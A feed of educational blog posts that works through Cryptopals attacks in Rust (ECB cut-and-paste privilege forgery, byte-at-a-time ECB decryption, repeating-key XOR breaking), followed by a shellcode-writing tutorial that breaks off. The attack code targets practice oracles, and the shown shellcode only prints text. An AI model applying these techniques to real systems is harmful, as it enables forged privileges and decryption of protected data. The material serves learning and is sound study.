DEV Community: daniel orihuela

Cryptopals: ECB cut and paste

daniel orihuela — Fri, 23 Oct 2026 17:44:37 +0000

Setup
ECB cut and paste
1. Detect cipher mode and metadata
2. Isolate role value
3. Craft ciphertext block
4. Replace ciphertext block
5. Code
Conclusion

In ECB, each block is independently encrypted. That means that we are free to replace whole blocks without consequences. Today, we will see how to take advantage of that feature. This post is related to https://cryptopals.com/sets/2/challenges/13.

Setup

For this exercise, we need a couple of functions to encode and decode a user profile consisting of an email, uid and a role.

The encoder recieves an email (e.g. example@mail.com) and returns an encoded user profile (e.g. email=example@mail.com&uid=10&role=user). The decoder can convert that into a map representation. It's important to make sure the encoder does not allow & and = characters in the email.

    pub fn profile_for(email: &str) -> String {
        let email = email
            .chars()
            .filter(|&x| x != '&' && x != '=')
            .collect::<String>();
        format!("email={email}&uid=10&role=user")
    }

    pub fn parse_query_string(query_string: &str) -> HashMap<String, String> {
      let key_value_pairs = query_string.split('&');
      key_value_pairs
          .map(|key_value| key_value.split_once('=').expect("Correct query string"))
          .map(|(k, v)| (k.to_string(), v.to_string()))
          .collect()
    }

We also need a couple of functions to encrypt and decrypt that data.

    pub fn encrypt_profile(email: &str, key: &[u8]) -> Vec<u8> {
        encrypt_aes_128_ecb(profile_for(email).as_bytes(), key)
    }

    pub fn decrypt_profile(ciphertext: &[u8], key: &[u8]) -> HashMap<String, String> {
        let plain = decrypt_aes_128_ecb(ciphertext, key).expect("Valid profile");
        parse_query_string(&plain)
    }

Last but not least, we need an oracle that always uses the same key to encrypt the profiles. That's the function that we will exploit.

    let key = random_bytes(16);

    let encrypt_fn = |data: &[u8]| {
        encrypt_profile(&data.iter().map(|&x| x as char).collect::<String>(), &key)
    };

ECB cut and paste

The goal of the exercise is to replace the value of the role from user to admin. We want to go from something like email=example@mail.com&uid=10&role=user to email=example@mail.com&uid=10&role=admin.

If you don't know how ECB works, this is a good moment to check it in https://danielorihuela.dev/blog/break-ecb/#ecb-block-cipher-mode. Simply put, in ECB all blocks are encrypted using the same key. Therefore, identical plain blocks return the same encrypted blocks. We can take advantage of that.

Detect cipher mode and metadata

First things first, we need to get the block size and the padding. Besides, we need to double check the oracle is using ecb.

    let (block_size, original_padding_length) = compute_block_size_and_padding_length(&encrypt_fn);
    if !is_ecb(&encrypt_fn, block_size) {
        panic!("Data not encrypted with ECB");
    }

Isolate role value

The plaintext blocks for no email as input are:

    |                     block 1                     |                      block 2                    |
    | 00 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 | 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
    | e  m  a  i  l  =  &  u  i  d  =  1  0  &  r  o  | l  e  =  u  s  e  r  9  9  9  9  9  9  9  9  9  |

The nines that appear are because of the PKCS#7 padding.

The encoder function doesn't allow = nor & in the input. Otherwise, it would suffice to find the encrypted representation of the block below, and copy that into the second block of the original ciphertext.

    |                 crafted block                   |
    | l  e  =  a  d  m  i  n  8  8  8  8  8  8  8  8  |

In that situation, we need to isolate the role value into its own block. We can do that manipulating the email value.

    |                     block 1                     |                      block 2                    |                 block 3                 |
    | 00 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 | 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | 32 33 34 35 36 37 38 39 40 41 42 43 ... |
    | e  m  a  i  l  =  a  a  a  a  a  a  a  a  a  a  | a  a  a  &  u  i  d  =  1  0  &  r  o  l  e  =  | a  d  m  i  n  11 11 11 11 11 11 11 ... |

The length of the email is equal to the padding (when the input is empty) plus the length of the default role value (user). If we only used the length of the padding, the role value user would end up at the end of the second block. We want to push it further to the third block, so we need to add its length to the email.

    let admin_block_padding = vec![(block_size - 5) as u8; block_size - 5];
    let admin_block = ["admin".as_bytes(), &admin_block_padding].concat();

Craft ciphertext block

We know the final result, but we still need to know it's encrypted representation. For that, we will feed the oracle with an increasing number of random bytes followed by our target plain block twice. The idea is to encrypt these inputs until we find an occurrence where our first target plain block occupies one whole block, instead of partially filling two blocks. At that moment, we will obtain a ciphertext containing two consecutive encrypted blocks with the same values. These are our target plain blocks encrypted.

    let mut i = 0;
    loop {
        let crafted_input = [vec![0; i], admin_block.clone(), admin_block.clone()].concat();
        let ciphertext = encrypt_fn(&crafted_input);
        let ciphertext_blocks = ciphertext.chunks(block_size).collect::<Vec<&[u8]>>();

        for j in 1..ciphertext_blocks.len() {
            if ciphertext_blocks[j - 1] == ciphertext_blocks[j] {
                return ciphertext_blocks[j].to_vec();
            }
        }

        i += 1;
    }

Replace ciphertext block

Finally, we can call the oracle with our crafted input and replace the last block with our crafted encrypted block.

    let crafted_input = vec![0; original_padding_length + "user".len()];
    let ciphertext = encrypt_fn(&crafted_input);
    let ciphertext_without_last_block = ciphertext[..ciphertext.len() - block_size].to_vec();

    [ciphertext_without_last_block, crafted_ciphertext_block].concat()

Code

You can check the whole implementation https://github.com/danielorihuela/cryptopals/blob/main/src/set2/challenge13.rs. It includes tests. One of them simulating the attack.

Conclusion

The ECB cipher is simple but highly insecure due to its deterministic nature, which leaks patterns in the plaintext. This exercise demonstrates how easily it can be manipulated. Modern cryptographic systems should avoid ECB mode entirely and instead use secure modes of operation like Galois Counter Mode (GCM) or Counter Mode (CTR).

Cryptopals: Break an ECB encrypted message (hard)

daniel orihuela — Mon, 28 Jul 2025 00:00:00 +0000

Break ECB mode (hard level)
- Find the block size
- Check if oracle is using ECB mode
- Find the prefix length
- Break the first byte
- Break the following bytes
- Code
Conclusion

In the last blog, we learned about ECB and how to break it. Today, we will continue with the topic and learn how to break it in a different setup. This post is related tohttps://cryptopals.com/sets/2/challenges/14.

Break ECB mode (hard level)

For this exercise, the oracle won’t just append some data, but also prepend data of random length. Without further ado, let’s see the process.

Find the block size

Same as in the previous blog.

Check if oracle is using ECB mode

Same as in the previous blog.

Find the prefix length

Now that the oracle adds a prefix, we need to know the length of the prefix.

To determine the prefix length, we first check if the prefix is smaller than the block size. This can be done by calling the oracle with inputs of zero and one byte, then comparing the first block of each ciphertext.

If the first blocks are different , the prefix is smaller than the block size. In this case, we continue calling the oracle with inputs that increase by one byte at a time. When the first blocks of two consecutive ciphertexts become equal, we can calculate the prefix length as:

prefix length = block size - number of input bytes

If the first blocks are the same , the prefix is larger than the block size. Here, we determine how many full blocks the prefix occupies and how many bytes spill into the next block. To do this, we check how many blocks (from the beginning) remain identical in the ciphertexts generated with zero and one bytes. Then, we use the same approach as above to calculate the remaining bytes in the last block.

Once we have the prefix length, we can proceed to the next step.

Break the first byte

The idea is the same as in the previous blog. We only need to change a bit how we construct the input.

We won’t use a string one byte shorter than the block size. We will use a string one byte shorter than the block size, plus the bytes to complete the last prefix block (if the last block isn’t equal to the block size). Completing the last prefix block makes sure the data we are interested in starts in the next block (not in the middle of it), and the block size minus one is used to isolate the first byte. As in the previous blog.

Another difference is that we won’t take the first block of the ciphertext to compute the dictionary of possible ciphertexts, but the first block after the prefix.

Break the following bytes

Same as in the previous blog. We just need to use the longer prefix as explained in the previous point.

That’s about it. We are ready to see the final implementation.

Implementation

pub fn attack_ecb_one_byte_at_a_time_prefix<F>(encrypt_fn: F) -> String
where
    F: Fn(&[u8]) -> Vec<u8>,
{
    let (block_size, padding_length) = compute_block_size_and_padding_length(&encrypt_fn);
    if !is_ecb(&encrypt_fn, block_size) {
        panic!("Data not encryped with ECB");
    }

    let prefix_length = prefix_length(&encrypt_fn, block_size);
    let prefix_trailing_bytes = prefix_length % block_size;
    let prefix_blocks = match prefix_trailing_bytes {
        0 => prefix_length / block_size,
        _ => (prefix_length / block_size) + 1,
    };

    let bytes_to_fill_last_prefix_block = match prefix_trailing_bytes {
        0 => 0,
        _ => block_size - prefix_trailing_bytes,
    };

    let mut plain = vec![0; block_size - 1];
    let num_target_bytes = encrypt_fn(&[]).len() - padding_length - prefix_length;
    for i in 0..num_target_bytes {
        let crafted_prefix = [
            &vec![0; bytes_to_fill_last_prefix_block],
            &plain[plain.len() - (block_size - 1)..],
        ]
            .concat();
        let ciphertext_block_to_character =
            brute_force_ciphertext_block(&encrypt_fn, &crafted_prefix, prefix_blocks, block_size);

        let raw_prefix =
            vec![0; bytes_to_fill_last_prefix_block + block_size - 1 - (i % block_size)];
        let ciphertext = encrypt_fn(&raw_prefix);
        let start = (prefix_blocks + (i / block_size)) * block_size;
        let end = start + block_size;
        let character = ciphertext_block_to_character
            .get(&ciphertext[start..end])
            .expect("Exists");

        plain.push(*character);
    }

    String::from_utf8(plain[block_size - 1..].to_vec()).expect("Valid plain message")
}

pub fn prefix_length<F>(encrypt_fn: F, block_size: usize) -> usize
where
    F: Fn(&[u8]) -> Vec<u8>,
{
    let ciphertext_a = encrypt_fn(&[]);
    let ciphertext_b = encrypt_fn(&[0]);
    let prefix_smaller_than_block_size = ciphertext_a[0..block_size] != ciphertext_b[0..block_size];
    if prefix_smaller_than_block_size {
        bytes_within_last_prefix_block(encrypt_fn, 0, block_size)
    } else {
        let blocks_in_prefix = full_blocks_within_prefix(&ciphertext_a, &ciphertext_b, block_size);

        let initial_bytes = blocks_in_prefix * block_size;
        let last_bytes = bytes_within_last_prefix_block(encrypt_fn, initial_bytes, block_size);
        initial_bytes + last_bytes
    }
}

fn full_blocks_within_prefix(ciphertext_a: &[u8], ciphertext_b: &[u8], block_size: usize) -> usize {
    let mut i = 0;
    while ciphertext_a[i..i + block_size] == ciphertext_b[i..i + block_size] {
        i += block_size;
    }

    i / block_size
}

fn bytes_within_last_prefix_block<F>(
    encryption_fn: F,
    block_position: usize,
    block_size: usize,
) -> usize
where
    F: Fn(&[u8]) -> Vec<u8>,
{
    let start = block_position;
    let end = block_position + block_size;
    let ciphertext_block = |length: usize| encryption_fn(&vec![0; length])[start..end].to_vec();

    let mut i = 0;
    while ciphertext_block(i) != ciphertext_block(i + 1) {
        i += 1;
    }

    match i < block_size {
        true => block_size - i,
        false => 0,
    }
}

Code

You can check the whole implementationhttps://github.com/danielorihuela/cryptopals/blob/main/src/set2/challenge14.rs.

Conclusion

ECB with a prefix is still insecure.

Cryptopals: Break an ECB encrypted message (easy)

daniel orihuela — Thu, 10 Jul 2025 00:00:00 +0000

ECB block cipher mode
Break ECB mode (easy level)
- Find the block size
- Check if oracle is using ECB mode
- Break the first byte
- Break the following bytes
- Code
Conclusion

Today, we will learn about the ECB block cipher mode, how it works, and how to break it. This post is related tohttps://cryptopals.com/sets/2/challenges/12.

ECB block cipher mode

The Electronic Code Book (ECB) is a block cipher mode of operation. Data is encrypted in blocks of fixed size and with the same key. Also, some bytes are added when the plaintext doesn’t have a length that is a multiple of the block size, known as padding.

Let p be the plaintext, c the ciphertext, k the key, and cipherany encryption algorithm. Assume that the ciphertext can be divided into blocks of length equal to k, without any leftover bytes. For each ifrom 0 to the number of blocks in the plaintext, we have thatc[i] = cipher(p[i], k).

The main issue with this mode is that it reuses the same key for all blocks. You might think that this shouldn’t be a problem. However, identical plain blocks will return the same encrypted blocks. It becomes apparent when you see the following images.

Plain image

Image encrypted with ECB mode

The data was encrypted, but we can still see the penguin… more or less. Let’s see how we can break this block cipher mode.

Break ECB mode (easy level)

Let’s pretend we have access to an encryption oracle that encrypts data in a particular way. It encrypts the result of appending some data to the user input. This oracle also knows the secret key.

In rust, this could look like this.

// Cipher function
pub fn encrypt(data: &[u8], key: &[u8]) -> Vec<u8> {
    let unknown_string = BASE64_STANDARD.decode(UNKNOWN_STRING).expect("Valid data");
    let data = [data, &unknown_string].concat();

    encrypt_aes_128_ecb(&data, key)
}

fn main() {
  ...
  let key = random_bytes(16);
  let encryption_fn = |data: &[u8]| encrypt(data, &key); // encryption oracle
}

Of course, in a real scenario, we won’t implement the function ourselves. We will be given call access to it. With the preparation out of the way, let’s move into the first step for breaking ECB.

Find the block size

We are using 128-bit block size, but we won’t have this information available in every situation. There’s a very simple way to discover the block size. Remember, ECB encrypts data in blocks of fixed size. Thus, if we find two inputs that return ciphertexts of different lengths, the difference must be the block size.

To get familiar with this idea, let’s go tohttps://www.devglan.com/online-tools/aes-encryption-decryption and play around with it. You will see that the result of encrypting strings between 1 and 15 characters returns ciphertexts of equal length. But, as soon as you encrypt a string with 16 characters, the ciphertext length increases. Take into account that the result is in base64 by default. Hence, the length increase won’t match the block size.

"a" -> "kc86jk6HnV9AtZ57SmbuJw=="
"aa" -> "UAGUUSk778f9tDRGTVKvYw=="
...
"a" * 16 -> "UOrlU8c7SzBd+8BGIi4CAJHPOo5Oh51fQLWee0pm7ic="

Let’s see an implementation.

pub fn compute_block_size_and_padding_length<F>(encryption_fn: F) -> (usize, usize)
where
    F: Fn(&[u8]) -> Vec<u8>,
{
    let mut i = 0;
    let mut len_diff = 0;
    while len_diff == 0 {
        len_diff = encryption_fn(&vec![0; i + 1]).len() - encryption_fn(&vec![0; i]).len();
        i += 1;
    }

    (len_diff, i)
}

Computing the padding is not needed. It’s a nice-to-have. It helps with printing the original message, once broken, without the padding.

Check if oracle is using ECB mode

Again, we might not have this information readily available in a real situation. Thus, we must practice how we can check if ECB is being used.

We will feed the encryption oracle with an unnecessarily long input that uses the same character over and over again. In the resulting ciphertext, we will check if all blocks are equal. If that’s the case, the oracle uses ECB mode. Remember that ECB uses the same key to encrypt different blocks. Hence, the same plain blocks return the same encrypted blocks.

NOTE

In this particular exercise, the oracle appends some unknown data. We need to check if the number of repeated blocks is greater or equal than the number of input ones. Some encrypted blocks could have the same value.

pub fn is_ecb<F>(encryption_fn: F, block_size: usize) -> bool
where
    F: Fn(&[u8]) -> Vec<u8>,
{
    let plain = vec![0; block_size * 100];
    let ciphertext = encryption_fn(&plain);

    max_repeated_block(&ciphertext) >= 100
}

Break the first byte

At a high level, what we want to do is isolate the first byte and brute-force the value. The general flow is more complex. Let’s start with the pseudocode to break the first byte.

prefix = string of length block size - 1
ciphertext = encryption_oracle(prefix)

every_possible_ciphertext = empty dictionary
for each possible character
  current_prefix = prefix + character
  possible_ciphertext = encryption_oracle(current_prefix)
  store possible_ciphertext in every_possible_ciphertext

for (character, possible_ciphertext) in every_possible_ciphertext
  if ciphertext == possible_ciphertext
    return character

Let’s walk through the pseudocode step by step.

First, we build an input to isolate the first byte of the unknown string. Since our input is one byte smaller than the block size, the first byte of the unknown string will move into the first block of data. Calling the oracle with that will give us the “actual” ciphertext.

Example

block_size = 16
unknown_string = "mydata..."
prefix = "a" x 15

Encryption oracle will use the following
data as input to be encrypted

data = "aaaaaaaaaaaaaaamydata..."
        | first block | second block

We are in full control of the prefix. The only unknown is the last character. The one we want to decrypt.

Second, we want to construct every possible ciphertext. For that, we will call the encryption oracle with each possible character that could appear in the message, appended to the prefix.

Example

We call the oracle with

input = "aaaaaaaaaaaaaaaa"
input = "aaaaaaaaaaaaaaab"
input = "aaaaaaaaaaaaaaac"
...
input = "aaaaaaaaaaaaaaaz"
input = "aaaaaaaaaaaaaaa!"
...
input = "aaaaaaaaaaaaaaa:"

and we create a dictionary

"a" -> first possible ciphertext
"b" -> second possible ciphertext
...

Third and last step, we must find which of the possible ciphertexts is equal to the “actual” ciphertext. The one we got from calling the oracle with the prefix.

With that, we broke the first byte. Hurray!!!

In rust, it could look something like:

let prefix = vec![0; block_size - 1];
let ciphertext_block_to_character = brute_force_ciphertext_block(&encrypt_fn, prefix, 0, block_size);
let ciphertext = encrypt_fn(&prefix);
let character = ciphertext_block_to_character.get(&ciphertext[0..16]).expect("Exists");

I’m leaving some functions and extra details out. We will see them in the next section.

Break the following bytes

Breaking ECB is an iterative method. Breaking the second byte requires knowing the first byte. Breaking the third byte requires knowing the first and the second bytes. Breaking the nth byte requires knowing the previous “block size minus one” bytes.

To break the message, we have to generalize the method used to break the first byte. With a bit of arithmetic, we can handle it. Let’s see the modified mechanisms.

Extend crafted prefix

To break the following byte, we will use all previous decrypted bytes. Prefixes will still be one byte smaller than the block size, but they will include the decrypted bytes preceding the byte we want to break. To accomplish that, on each iteration, we will append the last decrypted character and remove the first byte. That assures us that the difference between all the possible ciphertexts in the dictionary and the ciphertext we are searching for is only one byte. The last one. All previous bytes are known to us. Otherwise, the dictionary must be built based on many unknowns instead of one. One for each unknown character. It quickly gets intractable. That’s the reason we go byte by byte.

In general, breaking the nth byte requires knowing the previous “block size minus one” bytes. This reduces the unknowns to one byte, which we can easily brute-force.

Example

block size = 16
unknown string = "random message data"

Iteration 1
prefix = "aaaaaaaaaaaaaaa"
          | used prefix |
we break the first byte and obtain "r"

Iteration 2
prefix = "aaaaaaaaaaaaaaar"
           | used prefix |
we break the second byte and obtain "a"

Iteration 3
prefix = "aaaaaaaaaaaaaaara"
            | used prefix |
we break the third byte and obtain "n"

...

Iteration n
prefix = "aaaaaaaaaaaaaaarandom message dat"
                            | used prefix |
we break the last byte and obtain "a"

Isolate following bytes

We need to accommodate the prefix to prepare the following byte we want to break. To accomplish that, we decrease the size of the prefix by one on each iteration. Once the prefix length is zero, we have broken all the bytes from the block. To break the following block, we come back to using a prefix of “block size minus one” characters and repeat the process.

Example

block size = 16
unknown string = "random message data"

Iteration 1
input = "a" x 15
encryption_oracle will encrypt "aaaaaaaaaaaaaaarandom message data"
                                | first block | second block |
we break the first byte and obtain "r" (first block)

Iteration 2
input = "a" x 14
encryption_oracle will encrypt "aaaaaaaaaaaaaarandom message data"
                                | first block | second block |
we break the second byte and obtain "a" (first block)

Iteration 3
input = "a" x 13
encryption_oracle will encrypt "aaaaaaaaaaaaarandom message data"
                                | first block | second block |
we break the third byte and obtain "n" (first block)

...

Iteration 16
input = ""
encryption_oracle will encrypt "random message data"
                                | first block | second block |
we break the sixteenth byte and obtain "d" (first block)
first block completed, we have to break the second block now

Iteration 17
input = "a" x 15
encryption_oracle will encrypt "aaaaaaaaaaaaaaarandom message data"
                                | first block | second block |
we break the seventeenth byte and obtain "a" (second block)

...

Brute-force the correct block

I didn’t show it, but the function that creates the dictionary with all the possible ciphertexts only stores one block of data, not the whole ciphertext. That remains the same, but we have to make sure that we compare the correct ciphertext block against each possible ciphertext block in the dictionary.

let start = (i / block_size) * block_size;
let end = start + block_size;
let character = ciphertext_block_to_character.get(&ciphertext[start..end]).expect("Exists");

That’s about it. We are ready to see the final implementation.

Implementation

Before moving forward, let me explain an important detail about thebrute_force_ciphertext_block function. This function returns a dictionary with every possible ciphertext. If you read the implementation, you will see that we always store the first block of the ciphertext. That might be confusing, but it has a simple explanation. The encryption oracle doesn’t prepend any information. Besides, to get every possibility, we only care about the prefix plus any given letter. At this step, the string appended by the oracle is irrelevant. We only care about the ciphertext of the data we are feeding in, which becomes the first block of the resulting ciphertext.

That’s it. I just wanted to explain the inner workings of that function, so that’s clear what’s going on.

pub fn attack_ecb_one_byte_at_a_time<F>(encrypt_fn: F) -> String
where
    F: Fn(&[u8]) -> Vec<u8>,
{
    let (block_size, padding_length) = compute_block_size_and_padding_length(&encrypt_fn);
    if !is_ecb(&encrypt_fn, block_size) {
        panic!("Data not encryped with ECB");
    }

    let mut plain = vec![0; block_size - 1];
    let num_target_bytes = encrypt_fn(&[]).len() - padding_length;
    for i in 0..num_target_bytes {
        let crafted_prefix = &plain[plain.len() - (block_size - 1)..];
        let ciphertext_block_to_character =
            brute_force_ciphertext_block(&encrypt_fn, crafted_prefix, 0, block_size);

        let raw_prefix = vec![0; block_size - 1 - (i % block_size)];
        let ciphertext = encrypt_fn(&raw_prefix);
        let start = (i / block_size) * block_size;
        let end = start + block_size;
        let character = ciphertext_block_to_character
            .get(&ciphertext[start..end])
            .expect("Exists");

        plain.push(*character);
    }

    String::from_utf8(plain[block_size - 1..].to_vec()).expect("Valid plain message")
}

pub fn brute_force_ciphertext_block<F>(
    encryption_fn: F,
    prefix: &[u8],
    block_position: usize,
    block_size: usize,
) -> HashMap<Vec<u8>, u8>
where
    F: Fn(&[u8]) -> Vec<u8>,
{
    let mut encrypted_block_to_character = HashMap::new();
    for i in 0..=255u8 {
        let prefix_with_character = [prefix, &[i]].concat().to_vec();
        let encrypted_data = encryption_fn(&prefix_with_character);
        let start = block_position * block_size;
        let end = start + block_size;
        let encrypted_block = encrypted_data[start..end].to_vec();
        encrypted_block_to_character.insert(encrypted_block, i);
    }

    encrypted_block_to_character
}

Code

You can check the whole implementationhttps://github.com/danielorihuela/cryptopals/blob/main/src/set2/challenge12.rs.

Conclusion

The ECB cipher is simple but highly insecure due to its deterministic nature, which leaks patterns in the plaintext. This exercise demonstrates how easily it can be broken. Modern cryptographic systems should avoid ECB mode entirely and instead use secure modes of operation like Galois Counter Mode (GCM) or Counter Mode (CTR).

Cryptopals: Break a repeating-key XOR message

daniel orihuela — Mon, 11 Nov 2024 00:00:00 +0000

XOR Cipher
Break XOR cipher with frequency analysis
- Find key length
- Group ciphertext bytes by key byte used to encrypt
- Get the key character for each group
- Code
Conclusion

I started working on the Cryptopals challenges. I’m learning a few things about how the different pieces used in cryptography work and how to break them, and I decided to document some of the learnings. Today, we will learn about the XOR cipher, how it works, and how to break it. This post is related to https://cryptopals.com/sets/1/challenges/3 andhttps://cryptopals.com/sets/1/challenges/6.

XOR Cipher

The XOR cipher is an encryption method where each character of the plaintext is XORed with a character from the key. Let p be the plaintext, c the ciphertext, k the key, and ^ the XOR operator. Assume the key length is equal to the plaintext length. For each ifrom 0 to p length, we have that c[i] = p[i] ^ k[i]. For example, the plaintext “abcd” will result in the ciphertext “PPPP” using key “1234”.

This cipher is theoretically unbreakable when using theOTP(One Time Pad) technique. For this, the key must be:

At least as long as the plaintext
Truly random
Never reused
Kept secret

OTP isimpracticablewith the current internet. Hence, we have to use shorter keys and reuse them. For example, if we have the plaintext “abcdef” and the key “1234”, then the character “e” will get XORed with “1” and “f” with “2”. XOR is not secure in that setup. Let’s see how we can break it.

Break XOR cipher with frequency analysis

Breaking the XOR cipher is very simple. Let’s go step by step.

Find key length

The first step is to find the key length. We can brute force it. Before moving on, we need to know the facts that make this attack possible:

XOR operations cancel out equivalent values (i.e., a ^ a = 0)
XOR operations return 0’s 50% of the time and 1’s 50% of the time.
Plaintexts are not uniformly random
The expected hamming distance for two letters is lower than for two random 8-bit bytes.

How is this useful? Well… Let p1 and p2 be the first two blocks of key length bytes of the plaintext, c1 and c2 the first two blocks of key length bytes of the ciphertext, and k the key. We have thatp1 ^ k = c1 and p2 ^ k = c2. We can then iterate over each potential key length. For the proper key length, and using the previous equivalences, it follows that c1 ^ c2 = (p1 ^ k) ^ (p2 ^ k) = p1 ^ p2(fact 1). That will return a lower hamming distance (facts 3 and 4). Otherwise, for the incorrect key length, c1 ^ c2 = p1 ^ p2 doesn’t hold. Some bytes will follow the equivalence(p1[n] ^ k) ^ (p2[n] ^ k'), resembling two random 8-bit bytes (facts 2 and 4). Hence, the hamming distance will be higher.

The final implementation has a few more quirks. Computing the hamming distance between the first two blocks isn’t always reliable. We can use more blocks and calculate the average. Besides, we need to normalize the hamming distance average to compare different key sizes.

Let’s see the pseudocode.

for each possible key length
    get some blocks whose length is equal to the key length
    for each pair of blocks
        compute the hamming distance
    compute the average of hamming distances
    normalize the average by dividing by the key length
the value with the minimum normalized value is the key length

A possible implementation would be:

let mut keysize = 0;
let mut norm_distance = f64::MAX;
for i in 2..41 {
    if data.len() - 1 < 4 * i {
        continue;
    }

    let current_norm_distance = avg_hamming_distance_bytes(data, i) as f64 / i as f64;
    if current_norm_distance <= norm_distance {
        norm_distance = current_norm_distance;
        keysize = i;
    }
}

fn avg_hamming_distance_bytes(data: &[u8], keysize: usize) -> u64 {
    let n = 4;
    let sum_distances = (0..n - 1)
        .flat_map(|i| {
            (i + 1..n).map(move |j| {
                (
                    (i * keysize, (i + 1) * keysize),
                    (j * keysize, (j + 1) * keysize),
                )
            })
        })
        .map(|((a, b), (c, d))| hamming_distance_bytes(&data[a..b], &data[c..d]))
        .sum::<u64>();

    sum_distances / (6 * keysize) as u64
}

fn hamming_distance_bytes(a: &[u8], b: &[u8]) -> u64 {
    debug_assert_eq!(a.len(), b.len());

    xor_bytes(a, b)
        .iter()
        .flat_map(|byte| (0..8).map(move |i| (byte >> i) & 1))
        .filter(|b| b == &1)
        .count() as u64
}

Group ciphertext bytes by key byte used to encrypt

We will split the ciphertext into blocks of key length and group them based on their position. The first byte of each block will go into the first group, the second byte of each block will go into the second group, etc. The goal is to get as many groups as key characters and for each group to contain the ciphertext bytes encrypted with a particular key character.

Each group will help us find one character of the key.

break ciphertext into blocks of key length
transpose the blocks

A possible implementation would be:

let data_chunks = data.chunks(keysize).collect::<Vec<&[u8]>>();
let data_chunks = transpose(&data_chunks);

fn transpose<T: Copy>(data: &[&[T]]) -> Vec<Vec<T>> {
    let mut transposed = vec![vec![]; data[0].len()];
    for row in data {
        for (j, &value) in row.iter().enumerate() {
            transposed[j].push(value);
        }
    }

    transposed
}

Get the key character for each group

With the ciphertext bytes grouped, we can brute force each key character. The idea is to decrypt each block for each possible ASCII value and check which one returns the text closest to English, Spanish, or the language used. We do that by checking the frequency of the letters.

for each possible character
    decrypt the message
    compute how similar it is to english
the character that produces the most similar english data is the key character

A possible implementation would be:

let password = data_chunks
    .iter()
    .map(|chunk| break_single_xor_bytes(chunk).key)
    .collect::<String>();

pub struct DecryptMetadata {
    pub key: char,
    pub english_similarity: f64,
    pub decrypted_data: String,
}

impl Default for DecryptMetadata {
    fn default() -> Self {
        Self {
            key: '.',
            english_similarity: f64::MAX,
            decrypted_data: String::new(),
        }
    }
}

pub fn break_single_xor_bytes(data: &[u8]) -> DecryptMetadata {
    let mut decrypt_metadata = DecryptMetadata::default();
    for i in 0..256u16 {
        let repeating_key = vec![i as u8; data.len()];
        let xor_data = xor_bytes(data, &repeating_key);
        let Some(decrypted_data) = String::from_utf8(xor_data).ok() else {
            continue;
        };

        let characters_count = count_characters(&decrypted_data.to_ascii_lowercase());

        let ascii_data_length = decrypted_data.chars().count() as f64;
        let actual_frequencies = compute_frequencies(characters_count, ascii_data_length);

        let similarity = similarity_to_english(actual_frequencies);
        if similarity < decrypt_metadata.english_similarity {
            decrypt_metadata = DecryptMetadata {
                key: i as u8 as char,
                english_similarity: similarity,
                decrypted_data,
            };
        }
    }

    decrypt_metadata
}

Code

You can check the whole implementationhttps://github.com/danielorihuela/cryptopals/blob/main/src/set1/challenge6.rs.

Conclusion

The XOR cipher is simple but easy to attack. Modern products should avoid it at all costs. Instead, use OTP (if you can manage the complexity) or AES.

Write your own shellcode

daniel orihuela — Sat, 19 Oct 2024 00:00:00 +0000

What’s a shellcode?
Building a shellcode
- Hello world assembly
- No segments
- No null bytes
- Jump to the end and back
- Use smaller registers
Experiment with shellcode injection

What’s a shellcode?

In the software realm, a shellcode is a set of instructions that attackers inject into a program to execute arbitrary commands. Commonly, they use it to spawn a shell. However, you can do whatever you wish to. For example, print something to stdout, create files, and open a port, to name a few.

In this post, I will show you the basics of building a shellcode and how to avoid the most common pitfalls when executing it in an exploit.

Building a shellcode

A shellcode is built in assembly. Why assembly? Because they are injected into running programs that are already compiled, assembled, and linked. Once in runtime, the CPU is just reading machine instructions. Thus, we need to inject assembly instructions.

Building an assembly program can seem hard but there are lots of resources where you can learn about it.

You must also know where to get the machine instructions for a given architecture. You can get the information from the system. For example, my 64-bit Linux machine has the file/usr/include/x86_64-linux-gnu/asm/unistd_64.h with the information.

#ifndef _ASM_UNISTD_64_H
#define _ASM_UNISTD_64_H

#define __NR_read 0
#define __NR_write 1
#define __NR_open 2
#define __NR_close 3
#define __NR_stat 4

Alternatively, you can search for that information on the Internet, for example,https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/ orhttps://j00ru.vexillium.org/syscalls/nt/64/.

Let’s start writing a simple program to print to the stdout.

Hello world assembly

BITS 64 ; Define target architecture bits

section .data ; Data segment
msg db "Hello, world!", 0x0a; String with new line char

section .text ; Text segment
global _start; Default entry point for ELF linking

_start:

; write
mov rax, 1 ; Specify write syscall
mov rbx, 1 ; Specify stdout by putting 1 into rbx
mov rsi, msg ; Put the address of the string into rsi
mov rdx, 14 ; Put the length of the string into rdx
syscall ; Execute the system call

; exit
mov rax, 60 ; Specify exit syscall
mov rbx, 0 ; Exit with success
syscall ; Execute the system call

The program is simple. We define the target architecture bits, create a static string, and print it into stdout. Assembling, linking, and executing the binary is also very simple.

nasm -f elf64 helloworld.asm
ld helloworld.o
./a.out

See how it works and experiment a bit.

Taking that program as a basis, we will now see the different restrictions that we have to build a fully functional shellcode.

No segments

We inject shellcodes into running programs. Hence, we cannot specify the data layout nor use other data segments like in the previous example. The instructions must be self-contained. For instance, we cannot declare a static string. We need to mix it with the other instructions.

Removing the segments is easy, but… how can we mix the string? The stack will be our ally. Remember that when calling a function, a stack frame is created with the arguments, the local variables, and the return address. We can misuse that in assembly to load a string. The idea is to place the string directly after a call instruction. That way the return address of the stack will match the address of the string and we will be able to retrieve it inside the function.

BITS 64

call below
db "Hello, world!", 0x0a

below:
; write
mov rax, 1
mov rdi, 1
; Pop the value from the return address 
; and store it into the register
pop rsi 
mov rdx, 14
syscall

; exit
mov rax, 60
mov rdi, 0
syscall

Try it out and experiment with it.

In some situations that’s the only technique you will need to inject a shellcode. However, there are some occasions where this may fall short and you will get a segmentation fault. Often, shellcodes are injected as strings with functions like strcpy. These types of functions terminate at the first null byte. If we want it to work as expected, we must remove the null bytes.

No null bytes

There are different techniques to remove null bytes. Let’s see our starting point.

nasm helloworld.asm
hexdump -C helloword

Notice how many 00 are there. These are the null bytes.

Jump to the end and back

call instructions allow for “long” jumps. Using it for “small” jumps as we are doing in our shellcode means that the operand doesn’t fill the entire space reserved for the operand value, and it gets padded with null bytes.

We can us the two’s complement to avoid that. If we pass a negative number to the call instruction, the value will be padded with 0xffinstead of null bytes. A standard implementation of this solution consists of jumping to the end of the assembly program to a callinstruction that will jump back to a function.

BITS 64

jmp short bottom

above:
; write
mov rax, 1
mov rdi, 1
pop rsi
mov rdx, 14
syscall
